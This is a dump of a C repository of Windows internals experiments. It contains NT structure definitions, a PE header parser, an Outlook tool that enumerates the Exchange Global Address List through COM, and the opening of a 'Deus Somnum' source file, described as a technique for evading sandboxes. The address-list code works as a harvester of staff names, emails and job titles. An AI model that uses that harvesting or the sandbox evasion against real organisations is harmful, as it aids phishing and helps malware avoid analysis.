#define DEVICE_NOTIFY_CALLBACK 2 #endif #define OBJ_CASE_INSENSITIVE 0x00000040L #define STATUS_SUCCESS 0x00000000 #define STATUS_NO_MORE_ENTRIES 0x8000001AL #define STATUS_UNSUCCESSFUL 0xC0000001 #define STATUS_BUFFER_TOO_SMALL 0xC0000023 #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } /*-------------------------------------------------------------------- Windows structures. --------------------------------------------------------------------*/ typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; PVOID RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _OBJECT_DIRECTORY_INFORMATION { UNICODE_STRING Name; UNICODE_STRING TypeName; } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; enum DirectoryAccess { DIRECTORY_QUERY = 0x0001, DIRECTORY_TRAVERSE = 0x0002, DIRECTORY_CREATE_OBJECT = 0x0004, DIRECTORY_CREATE_SUBDIRECTORY = 0x0008, DIRECTORY_ALL_ACCESS = STANDARD_RIGHTS_ALL | 0xF }; ================================================ FILE: Office/Outlook/CMakeLists.txt ================================================ # @file CMakeLists.txt # @data 10/03/2021 # @author Paul L. (@am0nsec) # @version 1.0 # @brief Office Outlook CMake configuration file. # @details # @link https://github.com/am0nsec/wspe # @copyright This project has been released under the GNU Public License v3 license. include_directories(inc) add_executable(outlook_util "src/main.c" "src/outlook.c" ) ================================================ FILE: Office/Outlook/inc/outlook.h ================================================ /** * @file outlook.h * @data 10/03/2021 * @author Paul L. (@am0nsec) * @version 1.0 * @brief Outlook utility class. * @details * @link https://github.com/am0nsec/wspe * @copyright This project has been released under the GNU Public License v3 license. */ #ifndef __OUTLOOK_H_GUARD__ #define __OUTLOOK_H_GUARD__ #include #include /** * @brief Helps making the code a little bit less bloated. */ #define EXIT_ON_ERROR(x) \ if(FAILED(x)) {return E_FAIL;} /** * @brief Outlook contact record. */ typedef struct _OutlookContactRecord { BSTR Name; BSTR FirstName; BSTR LastName; BSTR PrimarySmtpAddress; BSTR JobTitle; BSTR Department; BSTR OfficeLocation; BSTR City; } OutlookContactRecord, * POutlookContactRecord; /** * @brief Different type of AddressEntry */ typedef enum _OlAddressEntryUserType { olExchangeUserAddressEntry = 0, olExchangeDistributionListAddressEntry = 1, olExchangePublicFolderAddressEntry = 2, olExchangeAgentAddressEntry = 3, olExchangeOrganizationAddressEntry = 4, olExchangeRemoteUserAddressEntry = 5, olOutlookContactAddressEntry = 10, olOutlookDistributionListAddressEntry = 11, olLdapAddressEntry = 20, olSmtpAddressEntry = 30, olOtherAddressEntry = 40 } OlAddressEntryUserType; /** * @brief Internal Outlook class. */ typedef struct OutlookUtil OutlookUtil; typedef struct OutlookUtilVtbl OutlookUtilVtbl; /** * @brief Virtual table of the OutlookUtil structure. */ typedef struct OutlookUtilVtbl { /** * @brief Initialises the COM library. */ HRESULT(STDMETHODCALLTYPE* Initialise)( _In_ OutlookUtil* pThis ); /** * @brief Uninitialises the COM library. COM and make cleanup the data. */ HRESULT(STDMETHODCALLTYPE* Uninitialise)( _In_ OutlookUtil* pThis ); /** * @brief Get the list of addresses. */ HRESULT(STDMETHODCALLTYPE* GetGlobalAddressList)( _In_ OutlookUtil* pOutlookUtil, _Out_ PLONG plCount, _Out_ OutlookContactRecord** ppContactRecords ); }; /** * @brief C implementation of a class. */ typedef struct OutlookUtil { /** * @brief Virtual table of the OutlookUtil structure. */ struct OutlookUtilVtbl lpVtbl; /** * @brief Pointer to an _Application dispatch interface. */ IDispatch* pOutlookApplication; /** * @brief Whether the class has been initialised. */ BOOLEAN m_bInitialised; }; /** * @brief Create a OutlookUtil C class. * @param ppOutlookUtil Pointer to a OutlookUtil class. * @param pHeapHandle Pointer to a RWX Heap handle. * @return Whether the class has been successfully created. */ _Success_(return == S_OK) _Must_inspect_result_ HRESULT STDMETHODCALLTYPE OuCreateOutlookUtilClass( _Inout_ OutlookUtil** ppOutlookUtil, _Out_ PHANDLE pHeapHandle ); /** * @brief Free a OutlookUtil C class. * @param ppOutlookUtil Pointer to a OutlookUtil class. * @param pHeapHandle Pointer to a RWX Heap handle. * @return Whether the class has been successfully free'ed. */ _Success_(return == S_OK) _Must_inspect_result_ HRESULT STDMETHODCALLTYPE OuFreeOutlookUtilClass( _In_ OutlookUtil** ppOutlookUtil, _In_ PHANDLE pHeapHandle ); /** * @brief Initializes the COM library. * @param pOutlookUtil Pointer to a OutlookUtil class. * @return Whether the COM library has been successfully initialised. */ _Success_(return == S_OK) _Must_inspect_result_ HRESULT STDMETHODCALLTYPE Initialise( _In_ OutlookUtil* pOutlookUtil ); /** * @brief Uninitialise the COM library and cleanup the data. * @param pOutlookUtil Pointer to a OutlookUtil class. * @return Whether the COM library has been successfully uninitialised and the data removed. */ _Success_(return == S_OK) _Must_inspect_result_ HRESULT STDMETHODCALLTYPE Uninitialise( _In_ OutlookUtil* pOutlookUtil ); /** * @brief * @param pOutlookUtil * @param plCount * @param ppContactRecords * @return */ _Success_(return == S_OK) _Must_inspect_result_ HRESULT STDMETHODCALLTYPE GetGlobalAddressList( _In_ OutlookUtil* pOutlookUtil, _Out_ PLONG plCount, _Out_ OutlookContactRecord** ppContactRecords ); /** * @brief Get a pointer to a Outlook.Application dispatch interface. * @param ppIDispatch Pointer to a IDispatch interface. * @return Whether the Outlook.Application dispatch interface has been created. */ _Success_(return == S_OK) _Must_inspect_result_ HRESULT STDMETHODCALLTYPE OupGetApplicationDispatchInterface( _Out_ IDispatch** ppIDispatch ); /** * @brief * @param pInterface * @param szMethodName * @param pVariables * @param dwVaraibles * @param ppIDispatch * @param pDispatchId * @return */ HRESULT STDMETHODCALLTYPE OupGetDispatchInterface( _In_ IDispatch* pInterface, _In_ LPOLESTR szMethodName, _In_opt_ VARIANT* pVariables, _In_ DWORD dwVaraibles, _Out_ IDispatch** ppIDispatch, _Inout_opt_ DISPID* pDispatchId ); /** * @brief * @param pInterface * @param szProperty * @param dwPropertyType * @param pDispatchId * @param pProperty * @return */ HRESULT STDMETHODCALLTYPE OupGetDispatchInterfaceProperty( _In_ IDispatch* pInterface, _In_ LPOLESTR szProperty, _In_ DWORD dwPropertyType, _Inout_opt_ DISPID* pDispatchId, _Out_ VARIANT* pProperty ); #endif // !__OUTLOOK_H_GUARD__ ================================================ FILE: Office/Outlook/src/main.c ================================================ /** * @file main.c * @data 10/03/2021 * @author Paul L. (@am0nsec) * @version 1.0 * @brief Outlook utility class. * @details * @link https://github.com/am0nsec/wspe * @copyright This project has been released under the GNU Public License v3 license. */ #include #include #include "outlook.h" int main() { // Initialise the class HANDLE hHeap = INVALID_HANDLE_VALUE; OutlookUtil* pOutlookUtil = NULL; if (OuCreateOutlookUtilClass(&pOutlookUtil, &hHeap) != S_OK) return EXIT_FAILURE; // Get the entries OutlookContactRecord* Records = NULL; LONG lRecordEntries = 0x00; EXIT_ON_ERROR(pOutlookUtil->lpVtbl.Initialise(pOutlookUtil)); EXIT_ON_ERROR(pOutlookUtil->lpVtbl.GetGlobalAddressList(pOutlookUtil, &lRecordEntries, &Records)); LONG cx = 0x00; OutlookContactRecord* src = Records; printf("[>] Number of contacts: %u\n", lRecordEntries); for (; cx < lRecordEntries; cx++) { OutlookContactRecord Record = { 0x00 }; memcpy_s(&Record, sizeof(OutlookContactRecord), src++, sizeof(OutlookContactRecord)); wprintf(L"%s %s - %s (%s)\n", Record.FirstName, Record.LastName, Record.PrimarySmtpAddress, Record.JobTitle); } HeapFree(GetProcessHeap(), 0x00, Records); // Cleanup EXIT_ON_ERROR(pOutlookUtil->lpVtbl.Uninitialise(pOutlookUtil)); EXIT_ON_ERROR(OuFreeOutlookUtilClass(&pOutlookUtil, &hHeap)); return EXIT_SUCCESS; } ================================================ FILE: Office/Outlook/src/outlook.c ================================================ /** * @file outlook.c * @data 10/03/2021 * @author Paul L. (@am0nsec) * @version 1.0 * @brief Outlook utility class. * @details * @link https://github.com/am0nsec/wspe * @copyright This project has been released under the GNU Public License v3 license. */ #include #include #include "outlook.h" _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE Initialise( _In_ OutlookUtil* pOutlookUtil ) { if (!pOutlookUtil->m_bInitialised) if (CoInitializeEx(NULL, COINIT_MULTITHREADED) != S_OK) return E_FAIL; pOutlookUtil->m_bInitialised = TRUE; return S_OK; } _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE Uninitialise( _In_ OutlookUtil* pOutlookUtil ) { if (!pOutlookUtil->m_bInitialised) return E_FAIL; CoUninitialize(); RtlSecureZeroMemory(pOutlookUtil, sizeof(OutlookUtil)); return S_OK; } _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE OuCreateOutlookUtilClass( _Inout_ OutlookUtil** ppOutlookUtil, _Out_ PHANDLE pHeapHandle ) { if (ppOutlookUtil == NULL || pHeapHandle == NULL) return E_INVALIDARG; // 1. Create executable heap *pHeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(OutlookUtil), 0x1000); if (*pHeapHandle == INVALID_HANDLE_VALUE || *pHeapHandle == NULL) return E_FAIL; // 2. Allocate memory *ppOutlookUtil = HeapAlloc(*pHeapHandle, HEAP_ZERO_MEMORY, sizeof(OutlookUtil)); if (*ppOutlookUtil == NULL) { HeapDestroy(*pHeapHandle); return E_FAIL; } // 3. Set the function addresses. OutlookUtil* dst = *ppOutlookUtil; dst->lpVtbl.Initialise = &Initialise; dst->lpVtbl.Uninitialise = &Uninitialise; dst->lpVtbl.GetGlobalAddressList = &GetGlobalAddressList; return S_OK; } _Use_decl_annotations_ HRESULT __stdcall OuFreeOutlookUtilClass( _In_ OutlookUtil** ppOutlookUtil, _In_ PHANDLE pHeapHandle ) { if (ppOutlookUtil == NULL || pHeapHandle == NULL) return E_INVALIDARG; *ppOutlookUtil = NULL; HeapDestroy(*pHeapHandle); return S_OK; } _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE GetGlobalAddressList( _In_ OutlookUtil* pOutlookUtil, _Out_ PLONG plCount, _Out_ OutlookContactRecord** ppContactRecords ) { if (pOutlookUtil == NULL || ppContactRecords == NULL) return E_INVALIDARG; if (!pOutlookUtil->m_bInitialised) return E_FAIL; // 1. Get the different dispatch interfaces ready IDispatch* pIApplication = NULL; EXIT_ON_ERROR(OupGetApplicationDispatchInterface(&pIApplication)); IDispatch* pINamespace = NULL; VARIANT Namespace = { 0x00 }; Namespace.vt = VT_BSTR; Namespace.bstrVal = SysAllocString(L"MAPI"); EXIT_ON_ERROR(OupGetDispatchInterface( pIApplication, L"GetNamespace", &Namespace, 0x01, &pINamespace, (DISPID*)NULL )); IDispatch* pIAddressList = NULL; EXIT_ON_ERROR(OupGetDispatchInterface( pINamespace, L"GetGlobalAddressList", (VARIANT*)NULL, 0x00, &pIAddressList, (DISPID*)NULL )); IDispatch* pIAddressEntries = NULL; EXIT_ON_ERROR(OupGetDispatchInterface( pIAddressList, L"AddressEntries", (VARIANT*)NULL, 0x00, &pIAddressEntries, (DISPID*)NULL )); // 2. Get total number of entries VARIANT vRecords = { 0x00 }; EXIT_ON_ERROR(OupGetDispatchInterfaceProperty( pIAddressEntries, L"Count", VT_I4, NULL, &vRecords )); // 3. Allocate memory for all the records SIZE_T llMaxSize = sizeof(OutlookContactRecord) * vRecords.llVal; *ppContactRecords = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, llMaxSize); // 4. Loop through each AddressEntry dispatch interfaces DISPID ItemId = 0x00; DISPID AddressEntryUserTypeId = 0x00; DISPID GetExchangeUserId = 0x00; OutlookContactRecord* dst = *ppContactRecords; VARIANT ItemIndex = { 0x00 }; ItemIndex.vt = VT_I4; LONG cx = 0x00; for (; cx < vRecords.llVal; cx++) { IDispatch* pAddressEntry = NULL; ItemIndex.llVal = cx + 1; // Get the IAddressEntry dispatch interface EXIT_ON_ERROR(OupGetDispatchInterface( pIAddressEntries, L"Item", &ItemIndex, 0x01, &pAddressEntry, &ItemId )); // Get the contact type and avoid mail-chain VARIANT EntryType = { 0x00 }; EXIT_ON_ERROR(OupGetDispatchInterfaceProperty( pAddressEntry, L"AddressEntryUserType", VT_I4, &AddressEntryUserTypeId, &EntryType )); if ((OlAddressEntryUserType)EntryType.llVal != olExchangeUserAddressEntry) continue; // Get the Exchange User dispatch interface IDispatch* pExchangeUser = NULL; EXIT_ON_ERROR(OupGetDispatchInterface( pAddressEntry, L"GetExchangeUser", NULL, 0x00, &pExchangeUser, &GetExchangeUserId )); // Get the data out of the ExchangeUser dispatch interface VARIANT Data = { 0x00 }; OupGetDispatchInterfaceProperty(pExchangeUser, L"Name", VT_BSTR, NULL, &Data); dst->Name = SysAllocString(Data.bstrVal); OupGetDispatchInterfaceProperty(pExchangeUser, L"FirstName", VT_BSTR, NULL, &Data); dst->FirstName = SysAllocString(Data.bstrVal); OupGetDispatchInterfaceProperty(pExchangeUser, L"LastName", VT_BSTR, NULL, &Data); dst->LastName = SysAllocString(Data.bstrVal); OupGetDispatchInterfaceProperty(pExchangeUser, L"PrimarySmtpAddress", VT_BSTR, NULL, &Data); dst->PrimarySmtpAddress = SysAllocString(Data.bstrVal); OupGetDispatchInterfaceProperty(pExchangeUser, L"JobTitle", VT_BSTR, NULL, &Data); dst->JobTitle = SysAllocString(Data.bstrVal); OupGetDispatchInterfaceProperty(pExchangeUser, L"Department", VT_BSTR, NULL, &Data); dst->Department = SysAllocString(Data.bstrVal); OupGetDispatchInterfaceProperty(pExchangeUser, L"OfficeLocation", VT_BSTR, NULL, &Data); dst->OfficeLocation = SysAllocString(Data.bstrVal); OupGetDispatchInterfaceProperty(pExchangeUser, L"City", VT_BSTR, NULL, &Data); dst->City = SysAllocString(Data.bstrVal); dst++; (*plCount)++; } return S_OK; } _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE OupGetApplicationDispatchInterface( _Out_ IDispatch** ppIDispatch ) { if (ppIDispatch == NULL) return E_INVALIDARG; // 1. Get the CLSID of Outlook.Application. CLSID CLSIDOutlookApplication = { 0x00 }; if (FAILED(CLSIDFromProgID(L"Outlook.Application", &CLSIDOutlookApplication))) return E_FAIL; // 2. Get instance of the dispatch interface EXIT_ON_ERROR(CoCreateInstance( &CLSIDOutlookApplication, NULL, CLSCTX_LOCAL_SERVER, &IID_IDispatch, ppIDispatch )); // 3. Exit if (*ppIDispatch == NULL) return E_FAIL; return S_OK; } _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE OupGetDispatchInterface( _In_ IDispatch* pInterface, _In_ LPOLESTR szMethodName, _In_opt_ VARIANT* pVariables, _In_ DWORD dwVaraibles, _Out_ IDispatch** ppIDispatch, _Inout_opt_ DISPID* pDispatchId ) { if (pInterface == NULL || szMethodName == NULL || ppIDispatch == NULL) return E_INVALIDARG; // 1. Get the dispatch ID of the method. DISPID DispatchId = 0x00; if (pDispatchId != NULL && *pDispatchId != 0x00) { DispatchId = *pDispatchId; } else { EXIT_ON_ERROR(pInterface->lpVtbl->GetIDsOfNames( pInterface, &IID_NULL, &szMethodName, 0x01, NULL, &DispatchId )); if (pDispatchId != NULL) *pDispatchId = DispatchId; } // 2. Get the parameters ready EXCEPINFO Exception = { 0x00 }; VARIANT Result = { 0x00 }; DISPPARAMS Parameters = { 0x00 }; if (dwVaraibles != 0x00) { Parameters.cArgs = dwVaraibles; Parameters.rgvarg = pVariables; } // 3. Get the dispatch interface via the initial interface EXIT_ON_ERROR(pInterface->lpVtbl->Invoke( pInterface, DispatchId, &IID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_METHOD, &Parameters, &Result, &Exception, NULL )); // 4. Check that this is the correct VARIANT type if (Result.vt != VT_DISPATCH) return E_FAIL; *ppIDispatch = Result.pdispVal; // 5. Exit return S_OK; } _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE OupGetDispatchInterfaceProperty( _In_ IDispatch* pInterface, _In_ LPOLESTR szProperty, _In_ DWORD dwPropertyType, _Inout_opt_ DISPID* pDispatchId, _Out_ VARIANT* pProperty ) { if (pInterface == NULL || szProperty == NULL || pProperty == NULL) return E_INVALIDARG; // 1. Get the dispatch ID of the method. DISPID DispatchId = 0x00; if (pDispatchId != NULL && *pDispatchId != 0x00) { DispatchId = *pDispatchId; } else { EXIT_ON_ERROR(pInterface->lpVtbl->GetIDsOfNames( pInterface, &IID_NULL, &szProperty, 0x01, NULL, &DispatchId )); if (pDispatchId != NULL) *pDispatchId = DispatchId; } // 2. Get the parameters ready EXCEPINFO Exception = { 0x00 }; VARIANT Result = { 0x00 }; DISPPARAMS Parameters = { 0x00 }; Parameters.cArgs = 0; // 3. Get the property EXIT_ON_ERROR(pInterface->lpVtbl->Invoke( pInterface, DispatchId, &IID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_PROPERTYGET, &Parameters, &Result, &Exception, NULL )); // 4. Check that this is the correct VARIANT type if (Result.vt != dwPropertyType) return E_FAIL; *pProperty = Result; // 5. Exit return S_OK; } ================================================ FILE: Portable Executable/parse_header.c ================================================ /*+=================================================================== File: parse_header.c Summary: Parse information from PE header of an image. Classes: N/A Functions: N/A Origin: https://github.com/am0nsec ## Author: Paul Laine (@am0nsec) ===================================================================+*/ #include #include /*-------------------------------------------------------------------- STRUCTURES --------------------------------------------------------------------*/ typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, * PLDR_MODULE; typedef struct _PEB_LDR_DATA { ULONG Length; ULONG Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, * PPEB_LDR_DATA; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBase; PPEB_LDR_DATA LoaderData; PVOID ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PVOID FastPebLock; PVOID FastPebLockRoutine; PVOID FastPebUnlockRoutine; ULONG EnvironmentUpdateCount; PVOID* KernelCallbackTable; PVOID EventLogSection; PVOID EventLog; PVOID FreeList; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[0x2]; PVOID ReadOnlySharedMemoryBase; PVOID ReadOnlySharedMemoryHeap; PVOID* ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; BYTE Spare2[0x4]; LARGE_INTEGER CriticalSectionTimeout; ULONG HeapSegmentReserve; ULONG HeapSegmentCommit; ULONG HeapDeCommitTotalFreeThreshold; ULONG HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID** ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; PVOID GdiDCAttributeList; PVOID LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; ULONG OSBuildNumber; ULONG OSPlatformId; ULONG ImageSubSystem; ULONG ImageSubSystemMajorVersion; ULONG ImageSubSystemMinorVersion; ULONG GdiHandleBuffer[0x22]; ULONG PostProcessInitRoutine; ULONG TlsExpansionBitmap; BYTE TlsExpansionBitmapBits[0x80]; ULONG SessionId; } PEB, * PPEB; /*-------------------------------------------------------------------- FUNCTIONS DEFINITION --------------------------------------------------------------------*/ BOOL PlLoadLibrary(LPCWSTR szDllName); /*-------------------------------------------------------------------- GLOBAL VARIABLES --------------------------------------------------------------------*/ #define SIZE_OF_IMAGE_SECTION_HEADER 0x28 DWORD64 g_dwModuleBaseAddress; /*-------------------------------------------------------------------- Entry Point --------------------------------------------------------------------*/ int wmain(int argc, wchar_t* argv[], wchar_t* envp[]) { wprintf(L"[>] Parse PE Header\n"); wprintf(L"[>] Author: Paul Laine (@am0nsec)\n"); wprintf(L" -----------------------------\n\n"); if (argc < 2) { wprintf(L"[-] Missing parameter\n"); wprintf(L"[-] Usage: %s \n", argv[0]); return 0x1; } /*-------------------------------------------------------------------- Load the DLL into the memory space of the process --------------------------------------------------------------------*/ wprintf(L"[>] Loading %s into current process ...\n", argv[1]); BOOL success = PlLoadLibrary(argv[1]); if (!success) { wprintf(L"[-] Unable to load: %s\n\n", argv[1]); return 0x1; } wprintf(L"[+] Loading %s into current process ... OK\n", argv[1]); PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)g_dwModuleBaseAddress; if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { wprintf(L"[-] Invalid DOS header\n"); return 1; } /*-------------------------------------------------------------------- The MS-DOS Real-Mode Stub Program being between the MS-DOS MZ header and the NT Headers (PE FILE Signature + PE File Header + PE File Optional Heder), the e_lfanew variable provide address of the next PE header. --------------------------------------------------------------------*/ wprintf(L"\n[>] Parse PE header ...\n"); PIMAGE_NT_HEADERS pImageNtHeader = (PIMAGE_NT_HEADERS)(g_dwModuleBaseAddress + pImageDosHeader->e_lfanew); if (pImageNtHeader->Signature != IMAGE_NT_SIGNATURE) { wprintf(L"[-] Invalid NT header\n"); return 1; } /*-------------------------------------------------------------------- The IMAGE_FILE_HEADER structure is just after the NT Header signature, which is a DWORD. --------------------------------------------------------------------*/ PIMAGE_FILE_HEADER pImageFileHeader = (PIMAGE_FILE_HEADER)((PBYTE)pImageNtHeader + sizeof(DWORD)); /*-------------------------------------------------------------------- The IMAGE_OPTIONAL_HEADER structure is just after the IMAGE_FILE_HEADER structure from the NT Header. IMAGE_SIZEOF_FILE_HEADER = 20 --------------------------------------------------------------------*/ PIMAGE_OPTIONAL_HEADER pImageOptionalHeader = (PIMAGE_OPTIONAL_HEADER)((PBYTE)pImageFileHeader + IMAGE_SIZEOF_FILE_HEADER); if (g_dwModuleBaseAddress != pImageOptionalHeader->ImageBase) { wprintf(L"[-] Invalid PE optional file header\n"); return 1; } wprintf(L" - ImageBase: 0x%016llx\n", g_dwModuleBaseAddress); wprintf(L" - Entry Point: 0x%016llx\n", (g_dwModuleBaseAddress + pImageOptionalHeader->AddressOfEntryPoint)); wprintf(L" - Image Version: %d.%d\n", pImageOptionalHeader->MajorImageVersion, pImageOptionalHeader->MinorImageVersion); wprintf(L" - SizeOfImage: 0x%08x\n", pImageOptionalHeader->SizeOfImage); wprintf(L"[+] Parse PE header ... OK\n\n"); /*-------------------------------------------------------------------- The IMAGE_OPTIONAL_HEADER structure is just after the IMAGE_FILE_HEADER structure from the NT Header. IMAGE_SIZEOF_FILE_HEADER = 20 --------------------------------------------------------------------*/ wprintf(L"[>] Parse section headers ...\n"); for (WORD i = 0; i < pImageFileHeader->NumberOfSections; i++) { DWORD64 dwFirstImageSectionHeaderAddress = g_dwModuleBaseAddress + pImageDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64); PIMAGE_SECTION_HEADER pImageSectionHeader = (PIMAGE_SECTION_HEADER)(dwFirstImageSectionHeaderAddress + (SIZE_OF_IMAGE_SECTION_HEADER * i)); printf(" - 0x%016llx %s\n", (g_dwModuleBaseAddress + pImageSectionHeader->VirtualAddress), pImageSectionHeader->Name); } wprintf(L"[+] Parse section headers ... OK\n\n"); /*-------------------------------------------------------------------- The virtual address from the first IMAGE_DATA_DIRECTORY pointes to the IMAGE_EXPORT_DIRECTORY structure, which list all the exported functions of the module. --------------------------------------------------------------------*/ wprintf(L"[>] Parse the export directory ... \n"); PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(g_dwModuleBaseAddress + pImageOptionalHeader->DataDirectory[0].VirtualAddress); PDWORD pdwAddressOfFunctions = (PDWORD)(g_dwModuleBaseAddress + pImageExportDirectory->AddressOfFunctions); PDWORD pdwAddressOfNames = (PDWORD)(g_dwModuleBaseAddress + pImageExportDirectory->AddressOfNames); PWORD pwAddressOfNameOrdinales = (PWORD)(g_dwModuleBaseAddress + pImageExportDirectory->AddressOfNameOrdinals); wprintf(L" - NumberOfFunctions: %d\n", pImageExportDirectory->NumberOfFunctions); DWORD cx; for (cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) { PCHAR pczFunctionName = (PCHAR)(g_dwModuleBaseAddress + pdwAddressOfNames[cx]); DWORD64 dwFunctionAddress = g_dwModuleBaseAddress + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; printf(" - 0x%016llx %s\n", dwFunctionAddress, pczFunctionName); } wprintf(L"[+] Parse the export directory ... OK"); return 0x0; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: PlLoadLibrary Summary: Load a library in to the memory space of the process. First check if the DLL exist. Set the g_dwModuleBaseAddress varaible with the base address of the dll. Args: LPCWSTR szDllName Absolut path of the DLL to load. Returns: BOOL Return true of the DLL was successfully loaded. -----------------------------------------------------------------F-F*/ BOOL PlLoadLibrary(LPCWSTR szDllName) { // Check if file exist DWORD dwSuccess = GetFileAttributes(szDllName); if (dwSuccess == INVALID_FILE_ATTRIBUTES) { return FALSE; } // Load the DLL // HMODULE being the base address of the DLL g_dwModuleBaseAddress = (DWORD64)LoadLibrary(szDllName); if (g_dwModuleBaseAddress == 0x0) { return FALSE; } return TRUE; } ================================================ FILE: Power Management/README.md ================================================ # Deus Somnum Source code for the Deus Somnum armouring technique against sandboxs. Further information can be found here: https://vxug.fakedoma.in/papers/Deus%20Somnum.pdf ================================================ FILE: Power Management/deus_somnum_pic.c ================================================ #pragma once #include typedef struct _INITIAL_TEB { PVOID StackBase; PVOID StackLimit; PVOID StackCommit; PVOID StackCommitMax; PVOID StackReserved; } INITIAL_TEB, * PINITIAL_TEB; typedef struct __CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, * PCLIENT_ID; typedef struct _PEB_LDR_DATA { ULONG Length; ULONG Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, * PPEB_LDR_DATA; typedef PVOID PACTIVATION_CONTEXT; typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; PACTIVATION_CONTEXT ActivationContext; ULONG Flags; } RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; typedef struct _ACTIVATION_CONTEXT_STACK { PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; LIST_ENTRY FrameListCache; ULONG Flags; ULONG NextCookieSequenceNumber; ULONG StackId; } ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; PVOID RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, * PLDR_MODULE; typedef struct _GDI_TEB_BATCH { ULONG Offset; ULONG HDC; ULONG Buffer[310]; } GDI_TEB_BATCH, * PGDI_TEB_BATCH; typedef struct _TEB_ACTIVE_FRAME_CONTEXT { ULONG Flags; PCHAR FrameName; } TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; typedef struct _TEB_ACTIVE_FRAME { ULONG Flags; struct _TEB_ACTIVE_FRAME* Previous; PTEB_ACTIVE_FRAME_CONTEXT Context; } TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBase; PPEB_LDR_DATA LoaderData; PVOID ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PVOID FastPebLock; PVOID FastPebLockRoutine; PVOID FastPebUnlockRoutine; ULONG EnvironmentUpdateCount; PVOID* KernelCallbackTable; PVOID EventLogSection; PVOID EventLog; 